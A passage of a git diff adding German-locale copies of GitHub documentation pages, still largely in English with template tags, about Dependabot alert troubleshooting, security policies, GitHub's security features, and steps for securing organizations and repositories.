+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Dependabot
+  - Alerts
+  - Troubleshooting
+  - Errors
+  - Security updates
+  - Dependencies
+  - Vulnerabilities
+  - CVEs
+  - Repositories
+---
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+{% data reusables.dependabot.result-discrepancy %}
+
+## Why do some dependencies seem to be missing?
+
+{% data variables.product.prodname_dotcom %} generates and displays dependency data differently than other tools. Consequently, if you've been using another tool to identify dependencies you will almost certainly see different results. Consider the following:
+
+*   {% data variables.product.prodname_advisory_database %} is one of the data sources that {% data variables.product.prodname_dotcom %} uses to identify vulnerable dependencies{% ifversion GH-advisory-db-supports-malware %} and malware{% endif %}. It's a free, curated database of security advisories for common package ecosystems on {% data variables.product.prodname_dotcom %}. It includes both data reported directly to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_security_advisories %}, as well as official feeds and community sources. This data is reviewed and curated by {% data variables.product.prodname_dotcom %} to ensure that false or unactionable information is not shared with the development community. {% data reusables.security-advisory.link-browsing-advisory-db %}
+*   The dependency graph parses all known package manifest files in a user’s repository. For example, for npm it will parse the _package-lock.json_ file. It constructs a graph of all of the repository’s dependencies and public dependents. This happens when you enable the dependency graph and when anyone pushes to the default branch, and it includes commits that makes changes to a supported manifest format. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)" and "[Troubleshooting the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph)."
+*   {% data variables.product.prodname_dependabot %} scans any push, to the default branch, that contains a manifest file. When a new advisory is added, it scans all existing repositories and generates an alert for each repository that is affected. {% data variables.product.prodname_dependabot_alerts %} are aggregated at the repository level, rather than creating one alert per advisory. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
+*   {% ifversion fpt or ghec or ghes %}{% data variables.product.prodname_dependabot_security_updates %} are triggered when you receive an alert about a vulnerable dependency in your repository. Where possible, {% data variables.product.prodname_dependabot %} creates a pull request in your repository to upgrade the vulnerable dependency to the minimum possible secure version needed to avoid the vulnerability. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" and "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)."
+  
+    {% endif %}{% data variables.product.prodname_dependabot %} doesn't scan repositories on a schedule, but rather when something changes. For example, a scan is triggered when a new dependency is added ({% data variables.product.prodname_dotcom %} checks for this on every push), or when a new advisory is added to the database{% ifversion ghes or ghae %} and synchronized to {% data variables.location.product_location %}{% endif %}. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#detection-of-insecure-dependencies)."
+
+## Do {% data variables.product.prodname_dependabot_alerts %} only relate to insecure dependencies in manifests and lockfiles?
+
+{% data variables.product.prodname_dependabot_alerts %} advise you about dependencies you should update, including transitive dependencies, where the version can be determined from a manifest or a lockfile. {% ifversion fpt or ghec or ghes %}{% data variables.product.prodname_dependabot_security_updates %} only suggest a change where {% data variables.product.prodname_dependabot %} can directly "fix" the dependency, that is, when these are:
+* Direct dependencies explicitly declared in a manifest or lockfile
+* Transitive dependencies declared in a lockfile{% endif %}
+
+**Check**: Is the uncaught vulnerability for a component that's not specified in the repository's manifest or lockfile?
+
+## Why don't I get {% data variables.product.prodname_dependabot_alerts %} for some ecosystems?
+
+{% data variables.product.prodname_dependabot_alerts %} are supported for a set of ecosystems where we can provide high-quality, actionable data. Curated advisories in the {% data variables.product.prodname_advisory_database %}, the dependency graph, {% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %} security updates, {% endif %}and  {% data variables.product.prodname_dependabot_alerts %} are provided for several ecosystems, including Java’s Maven, JavaScript’s npm and Yarn, .NET’s NuGet, Python’s pip, Ruby's RubyGems, and PHP’s Composer. We'll continue to add support for more ecosystems over time. For an overview of the package ecosystems that we support, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)."
+
+It's worth noting that security advisories may exist for other ecosystems. The information in an unreviewed security advisory is provided by the maintainers of a particular repository. This data is not curated by {% data variables.product.prodname_dotcom %}. {% data reusables.security-advisory.link-browsing-advisory-db %}
+
+**Check**: Does the uncaught vulnerability apply to an unsupported ecosystem?
+
+## Does {% data variables.product.prodname_dependabot %} generate alerts for vulnerabilities that have been known for many years?
+
+The {% data variables.product.prodname_advisory_database %} was launched in November 2019, and initially back-filled to include advisories for security risks in the supported ecosystems, starting from 2017. When adding CVEs to the database, we prioritize curating newer CVEs, and CVEs affecting newer versions of software.
+
+Some information on older vulnerabilities is available, especially where these CVEs are particularly widespread, however some old vulnerabilities are not included in the {% data variables.product.prodname_advisory_database %}. If there's a specific old vulnerability that you need to be included in the database, contact {% data variables.contact.contact_support %}. 
+
+**Check**: Does the uncaught vulnerability have a publish date earlier than 2017 in the National Vulnerability Database?
+
+## Why does {% data variables.product.prodname_advisory_database %} use a subset of published vulnerability data?
+
+Some third-party tools use uncurated CVE data that isn't checked or filtered by a human. This means that CVEs with tagging or severity errors, or other quality issues, will cause more frequent, more noisy, and less useful alerts.
+
+Since {% data variables.product.prodname_dependabot %} uses curated data in the {% data variables.product.prodname_advisory_database %}, the volume of alerts may be lower, but the alerts you do receive will be accurate and relevant.
+
+{% ifversion fpt or ghec %}
+## Does each insecure dependency generate a separate alert?
+
+When a dependency has multiple vulnerabilities, an alert is generated for each vulnerability at the level of advisory plus manifest.
+
+![Screenshot of the {% data variables.product.prodname_dependabot_alerts %} tab showing two alerts from the same package with different manifests.](/assets/images/help/repository/dependabot-alerts-view.png)
+
+Legacy {% data variables.product.prodname_dependabot_alerts %} were grouped into a single aggregated alert with all the vulnerabilities for the same dependency. If you navigate to a link to a legacy {% data variables.product.prodname_dependabot %} alert, you will be redirected to the {% data variables.product.prodname_dependabot_alerts %} tab filtered to display vulnerabilities for that dependent package and manifest.
+
+![Screenshot of the {% data variables.product.prodname_dependabot_alerts %} tab showing the filtered alerts from navigating to a legacy {% data variables.product.prodname_dependabot %} alert.](/assets/images/help/repository/legacy-dependabot-alerts-view.png)
+
+The {% data variables.product.prodname_dependabot_alerts %} count in {% data variables.product.prodname_dotcom %} shows a total for the number of alerts, which is the number of vulnerabilities, not the number of dependencies.
+
+**Check**: If there is a discrepancy in the totals you are seeing, check that you are not comparing alert numbers with dependency numbers. Also check that you are viewing all alerts and not a subset of filtered alerts.
+{% endif %}
+
+{% ifversion fpt or ghec or ghes %}
+## Can Dependabot ignore specific dependencies?
+
+You can configure {% data variables.product.prodname_dependabot %} to ignore specific dependencies in the configuration file, which will prevent security and version updates for those dependencies. If you only wish to use security updates, you will need to override the default behavior with a configuration file. For more information, see "[Overriding the default behavior with a configuration file](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates#overriding-the-default-behavior-with-a-configuration-file)" to prevent version updates from being activated. For information about ignoring dependencies, see "[`ignore`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#ignore)."
+{% endif %}
+
+## Further reading
+
+- "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"
+- "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)"
+- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"
+- "[Troubleshooting the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph)"{% ifversion fpt or ghec or ghes %}
+- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %}
diff --git a/translations/de-DE/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md b/translations/de-DE/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
new file mode 100644
index 0000000000..c9c65be814
--- /dev/null
+++ b/translations/de-DE/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md
@@ -0,0 +1,65 @@
+---
+title: Adding a security policy to your repository
+intro: You can give instructions for how to report a security vulnerability in your project by adding a security policy to your repository.
+redirect_from:
+  - /articles/adding-a-security-policy-to-your-repository
+  - /github/managing-security-vulnerabilities/adding-a-security-policy-to-your-repository
+  - /github/code-security/security-advisories/adding-a-security-policy-to-your-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Security policies
+  - Vulnerabilities
+  - Repositories
+  - Health
+shortTitle: Add a security policy
+---
+
+## About security policies
+
+To give people instructions for reporting security vulnerabilities in your project,{% ifversion fpt or ghes or ghec %} you can add a _SECURITY.md_ file to your repository's root, `docs`, or `.github` folder.{% else %} you can add a _SECURITY.md_ file to your repository's root, or `docs` folder.{% endif %} When someone creates an issue in your repository, they will see a link to your project's security policy.
+
+{% ifversion not ghae %}
+<!-- no public repos in GHAE -->
+You can create a default security policy for your organization or personal account. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
+{% endif %}
+
+{% tip %}
+
+**Tip:** To help people find your security policy, you can link to your _SECURITY.md_ file from other places in your repository, such as your README file. For more information, see "[About READMEs](/articles/about-readmes)."
+
+{% endtip %}
+
+{% ifversion fpt or ghec %}
+After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see "[About coordinated disclosure of security vulnerabilities](/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)." For more information about repository security advisories, see "[About repository security advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+
+{% data reusables.repositories.github-security-lab %}
+{% endif %}
+{% ifversion ghes or ghae %}
+<!-- alternative to the content about GitHub Security Advisories in the dotcom article -->
+By making security reporting instructions clearly available, you make it easy for your users to report any security vulnerabilities they find in your repository using your preferred communication channel.
+{% endif %}
+
+## Adding a security policy to your repository
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-security %}
+3. In the left sidebar, click **Security policy**.
+  ![Security policy tab](/assets/images/help/security/security-policy-tab.png)
+4. Click **Start setup**.
+  ![Start setup button](/assets/images/help/security/start-setup-security-policy-button.png)
+5. In the new _SECURITY.md_ file, add information about supported versions of your project and how to report a vulnerability.
+{% data reusables.files.write_commit_message %}
+{% data reusables.files.choose-commit-email %}
+{% data reusables.files.choose_commit_branch %}
+{% data reusables.files.propose_file_change %}
+
+## Further reading
+
+- "[Securing your repository](/code-security/getting-started/securing-your-repository)"{% ifversion not ghae %}
+- "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)"{% endif %}{% ifversion fpt or ghec %}
+- [{% data variables.product.prodname_security %}]({% data variables.product.prodname_security_link %}){% endif %}
diff --git a/translations/de-DE/content/code-security/getting-started/github-security-features.md b/translations/de-DE/content/code-security/getting-started/github-security-features.md
new file mode 100644
index 0000000000..081272149c
--- /dev/null
+++ b/translations/de-DE/content/code-security/getting-started/github-security-features.md
@@ -0,0 +1,122 @@
+---
+title: GitHub security features
+intro: 'An overview of {% data variables.product.prodname_dotcom %} security features.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Repositories
+  - Dependencies
+  - Vulnerabilities
+  - Advanced Security
+---
+
+## About {% data variables.product.prodname_dotcom %}'s security features
+
+{% data variables.product.prodname_dotcom %} has security features that help keep code and secrets secure in repositories and across organizations. {% data reusables.advanced-security.security-feature-availability %}
+
+The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that you can view, search, and filter. {% data reusables.security-advisory.link-browsing-advisory-db %}
+
+## Available for all repositories
+### Security policy
+
+Make it easy for your users to confidentially report security vulnerabilities they've found in your repository. For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)."
+
+{% ifversion fpt or ghec %}
+### Security advisories
+
+Privately discuss and fix security vulnerabilities in your repository's code. You can then publish a security advisory to alert your community to the vulnerability and encourage community members to upgrade. For more information, see "[About repository security advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+
+{% endif %}
+{% ifversion fpt or ghec or ghes %}
+
+### {% data variables.product.prodname_dependabot_alerts %} and security updates
+
+View alerts about dependencies that are known to contain security vulnerabilities, and choose whether to have pull requests generated automatically to update these dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)"
+and "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)."
+{% endif %}
+
+{% ifversion ghae %}
+### {% data variables.product.prodname_dependabot_alerts %}
+
+{% data reusables.dependabot.dependabot-alerts-beta %}
+
+View alerts about dependencies that are known to contain security vulnerabilities, and manage these alerts. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+{% endif %}
+
+{% ifversion fpt or ghec or ghes %}
+### {% data variables.product.prodname_dependabot %} version updates
+
+Use {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. This helps reduce your exposure to older versions of dependencies. Using newer versions makes it easier to apply patches if security vulnerabilities are discovered, and also makes it easier for {% data variables.product.prodname_dependabot_security_updates %} to successfully raise pull requests to upgrade vulnerable dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)."
+{% endif %}
+
+### Dependency graph
+The dependency graph allows you to explore the ecosystems and packages that your repository depends on and the repositories and packages that depend on your repository.
+
+You can find the dependency graph on the **Insights** tab for your repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
+
+{% ifversion security-overview-displayed-alerts %}
+### Security overview
+
+The security overview allows you to review security configurations and alerts, making it easy to identify the repositories and organizations at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
+
+{% else %}
+### Security overview for repositories
+The security overview shows which security features are enabled for the repository, and offers you the option of configuring any available security features that are not already enabled.
+{% endif %}
+
+## Available with {% data variables.product.prodname_GH_advanced_security %}
+
+{% ifversion fpt %}
+The following {% data variables.product.prodname_GH_advanced_security %} features are available and free of charge for public repositories on {% data variables.product.prodname_dotcom_the_website %}. Organizations that use {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can use the full set of features in any of their repositories. For a list of the features available with {% data variables.product.prodname_ghe_cloud %}, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/github-security-features#available-with-github-advanced-security).
+
+{% elsif ghec %}
+Many {% data variables.product.prodname_GH_advanced_security %} features are available and free of charge for public repositories on {% data variables.product.prodname_dotcom_the_website %}. Organizations within an enterprise that have a {% data variables.product.prodname_GH_advanced_security %} license can use the following features on all their repositories. {% data reusables.advanced-security.more-info-ghas %}
+
+{% elsif ghes %}
+{% data variables.product.prodname_GH_advanced_security %} features are available for enterprises with a license for {% data variables.product.prodname_GH_advanced_security %}. The features are restricted to repositories owned by an organization. {% data reusables.advanced-security.more-info-ghas %}
+
+{% elsif ghae %}
+{% data variables.product.prodname_GH_advanced_security %} features are available for repositories owned by an organization. {% data reusables.advanced-security.more-info-ghas %}
+{% endif %}
+
+### {% data variables.product.prodname_code_scanning_capc %}
+
+Automatically detect security vulnerabilities and coding errors in new or modified code. Potential problems are highlighted, with detailed information, allowing you to fix the code before it's merged into your default branch. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)."
+
+{% ifversion fpt or ghec %}
+### {% data variables.product.prodname_secret_scanning_partner_caps %}
+
+Automatically detect leaked secrets across all public repositories. {% data variables.product.company_short %} informs the relevant service provider that the secret may be compromised. For details of the supported secrets and service providers, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)."
+{% endif %}
+
+{% ifversion ghec or ghes or ghae %}
+### {% data variables.product.prodname_secret_scanning_GHAS_caps %}
+
+{% ifversion ghec %}
+Available only with a license for {% data variables.product.prodname_GH_advanced_security %}.
+{% endif %}
+
+Automatically detect tokens or credentials that have been checked into a repository. You can view alerts for any secrets that {% data variables.product.company_short %} finds in your code, so that you know which tokens or credentials to treat as compromised. For more information, see "[About secret scanning](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-advanced-security)."
+{% endif %}
+
+### Dependency review
+
+Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
+
+{% ifversion security-overview-displayed-alerts %}<!--Section appears in non-GHAS features above-->
+
+{% elsif fpt %}<!--Feature requires enterprise product-->
+
+{% else %}
+### Security overview for organizations{% ifversion ghes > 3.4 or ghae > 3.4 %}, enterprises,{% endif %} and teams
+
+Review the security configuration and alerts for your organization and identify the repositories at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
+{% endif %}
+
+## Further reading
+- "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products)"
+- "[{% data variables.product.prodname_dotcom %} language support](/github/getting-started-with-github/github-language-support)"
diff --git a/translations/de-DE/content/code-security/getting-started/index.md b/translations/de-DE/content/code-security/getting-started/index.md
new file mode 100644
index 0000000000..66b6ec717e
--- /dev/null
+++ b/translations/de-DE/content/code-security/getting-started/index.md
@@ -0,0 +1,26 @@
+---
+title: Erste Schritte mit Codesicherheit
+shortTitle: Getting started
+intro: 'Einführung in Codesicherheit mit {% data variables.product.product_name %}.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+  - Dependencies
+  - Vulnerabilities
+children:
+  - /github-security-features
+  - /securing-your-repository
+  - /securing-your-organization
+  - /adding-a-security-policy-to-your-repository
+ms.openlocfilehash: 43f115a71348c54da1004d24fdefae0d28cd0b0e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147145290'
+---
+
diff --git a/translations/de-DE/content/code-security/getting-started/securing-your-organization.md b/translations/de-DE/content/code-security/getting-started/securing-your-organization.md
new file mode 100644
index 0000000000..63cff8ac9b
--- /dev/null
+++ b/translations/de-DE/content/code-security/getting-started/securing-your-organization.md
@@ -0,0 +1,137 @@
+---
+title: Securing your organization
+intro: 'You can use a number of {% data variables.product.prodname_dotcom %} features to help keep your organization secure.'
+permissions: Organization owners can configure organization security settings.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Organizations
+  - Dependencies
+  - Vulnerabilities
+  - Advanced Security
+shortTitle: Secure your organization
+---
+
+## Introduction
+This guide shows you how to configure security features for an organization. Your organization's security needs are unique and you may not need to enable every security feature. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
+
+{% data reusables.advanced-security.security-feature-availability %}
+
+## Managing access to your organization
+
+You can use roles to control what actions people can take in your organization. {% ifversion security-managers %}For example, you can assign the security manager role to a team to give them the ability to manage security settings across your organization, as well as read access to all repositories.{% endif %} For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+
+{% ifversion fpt or ghes or ghec %}
+
+## Creating a default security policy
+
+You can create a default security policy that will display in any of your organization's public repositories that do not have their own security policy. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
+
+{% endif %}
+
+## Managing {% data variables.product.prodname_dependabot_alerts %} and the dependency graph
+
+{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} detects vulnerabilities in public repositories and displays the dependency graph. You can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all public repositories owned by your organization. You can enable or disable {% data variables.product.prodname_dependabot_alerts %} and the dependency graph for all private repositories owned by your organization.
+
+1. Click your profile photo, then click **Organizations**.
+2. Click **Settings** next to your organization.
+3. Click **Security & analysis**.
+4. Click **Enable all** or **Disable all** next to the feature that you want to manage.
+5. Optionally, select **Automatically enable for new repositories**.
+{% endif %}
+
+{% data reusables.dependabot.dependabot-alerts-beta %}
+{% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %}
+
+For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)," "[Exploring the dependencies of a repository](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)," and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+
+## Managing dependency review
+
+Dependency review is an {% data variables.product.prodname_advanced_security %} feature that lets you visualize dependency changes in pull requests before they are merged into your repositories. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)."
+
+{% ifversion fpt or ghec %}Dependency review is already enabled for all public repositories. {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable dependency review for private and internal repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-organization#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec %}For private and internal repositories that are owned by an organization, you can enable dependency review by enabling the dependency graph and enabling {% data variables.product.prodname_advanced_security %} (see below). 
+{% elsif ghes or ghae %}Dependency review is available when dependency graph is enabled for {% data variables.location.product_location %} and you enable {% data variables.product.prodname_advanced_security %} for the organization (see below).{% endif %}
+
+{% ifversion fpt or ghec or ghes %}
+## Managing {% data variables.product.prodname_dependabot_security_updates %}
+
+For any repository that uses {% data variables.product.prodname_dependabot_alerts %}, you can enable {% data variables.product.prodname_dependabot_security_updates %} to raise pull requests with security updates when vulnerabilities are detected. You can also enable or disable {% data variables.product.prodname_dependabot_security_updates %} for all repositories across your organization.
+
+1. Click your profile photo, then click **Organizations**.
+2. Click **Settings** next to your organization.
+3. Click **Security & analysis**.
+4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_dependabot_security_updates %}.
+5. Optionally, select **Automatically enable for new repositories**. 
+
+For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+
+## Managing {% data variables.product.prodname_dependabot_version_updates %}
+
+You can enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)."
+
+To enable {% data variables.product.prodname_dependabot_version_updates %}, you must create a *dependabot.yml* configuration file. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)."
+
+{% endif %}
+
+{% ifversion ghes or ghae or ghec %}
+## Managing {% data variables.product.prodname_GH_advanced_security %}
+
+{% ifversion ghes or ghec %}
+If your {% ifversion ghec %}organization is owned by an enterprise that{% else %}enterprise{% endif %} has an {% data variables.product.prodname_advanced_security %} license, you can enable or disable {% data variables.product.prodname_advanced_security %} features.
+{% elsif ghae %}
+You can enable or disable {% data variables.product.prodname_advanced_security %} features.
+{% endif %}
+
+1. Click your profile photo, then click **Organizations**.
+2. Click **Settings** next to your organization.
+3. Click **Security & analysis**.
+4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_GH_advanced_security %}.
+5. Optionally, select **Automatically enable for new private repositories**. 
+
+For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+{% endif %}
+## Configuring {% data variables.product.prodname_secret_scanning %}
+
+{% data variables.product.prodname_secret_scanning_caps %} is an {% data variables.product.prodname_advanced_security %} feature that scans repositories for secrets that are insecurely stored.
+
+{% ifversion fpt or ghec %}{% data variables.product.prodname_secret_scanning_caps %} is already enabled for all public repositories. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable {% data variables.product.prodname_secret_scanning %} for private and internal repositories.{% endif %} {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-organization#configuring-secret-scanning). {% endif %}
+
+{% ifversion ghes or ghae %}{% data variables.product.prodname_secret_scanning_caps %} is available if your enterprise uses {% data variables.product.prodname_advanced_security %}.{% endif %}
+
+{% ifversion not fpt %}
+You can enable or disable {% data variables.product.prodname_secret_scanning %} for all repositories across your organization that have {% data variables.product.prodname_advanced_security %} enabled.
+
+1. Click your profile photo, then click **Organizations**.
+2. Click **Settings** next to your organization.
+3. Click **Security & analysis**.
+4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_secret_scanning_caps %} ({% data variables.product.prodname_GH_advanced_security %} repositories only).
+5. Optionally, select **Automatically enable for private repositories added to {% data variables.product.prodname_advanced_security %}**. 
+
+For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+{% endif %}
+
+## Configuring {% data variables.product.prodname_code_scanning %}
+
+{% data variables.product.prodname_code_scanning_capc %} is an {% data variables.product.prodname_advanced_security %} feature that scans code for security vulnerabilities and errors.
+
+{% ifversion fpt or ghec %}{% data variables.product.prodname_code_scanning_capc %} is available for all public repositories. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally use {% data variables.product.prodname_code_scanning %} for private and internal repositories.{% else %}{% data variables.product.prodname_code_scanning_capc %} is available if your enterprise uses {% data variables.product.prodname_advanced_security %}.{% endif %}
+
+{% data variables.product.prodname_code_scanning_capc %} is configured at the repository level. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
+
+## Next steps
+You can view and manage alerts from security features to address dependencies and vulnerabilities in your code. For more information, see {% ifversion fpt or ghes or ghec %} "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts),"{% endif %} {% ifversion fpt or ghec or ghes %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
+
+{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About repository security advisories](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)."
+{% endif %}
+
+{% ifversion ghes or ghec or ghae %}You{% elsif fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can view, filter, and sort security alerts for repositories owned by {% ifversion ghes or ghec or ghae %}your{% elsif fpt %}their{% endif %} organization in the security overview. For more information, see{% ifversion ghes or ghec or ghae %} "[About the security overview](/code-security/security-overview/about-the-security-overview)."{% elsif fpt %} "[About the security overview](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview)" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %}
+
+{% ifversion ghec %}
+## Further reading
+
+"[Accessing compliance reports for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization)"
+{% endif %}
diff --git a/translations/de-DE/content/code-security/getting-started/securing-your-repository.md b/translations/de-DE/content/code-security/getting-started/securing-your-repository.md
new file mode 100644
index 0000000000..94ff4b1ba5
--- /dev/null
+++ b/translations/de-DE/content/code-security/getting-started/securing-your-repository.md
@@ -0,0 +1,137 @@
+---
+title: Securing your repository
+intro: 'You can use a number of {% data variables.product.prodname_dotcom %} features to help keep your repository secure.'
+permissions: Repository administrators and organization owners can configure repository security settings.
+redirect_from:
+  - /github/administering-a-repository/about-securing-your-repository
+  - /github/code-security/getting-started/about-securing-your-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Repositories
+  - Dependencies
+  - Vulnerabilities
+  - Advanced Security
+shortTitle: Secure your repository
+---
+
+## Introduction
+This guide shows you how to configure security features for a repository. You must be a repository administrator or organization owner to configure security settings for a repository.
+
+Your security needs are unique to your repository, so you may not need to enable every feature for your repository. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
+
+{% data reusables.advanced-security.security-feature-availability %}
+
+## Managing access to your repository
+
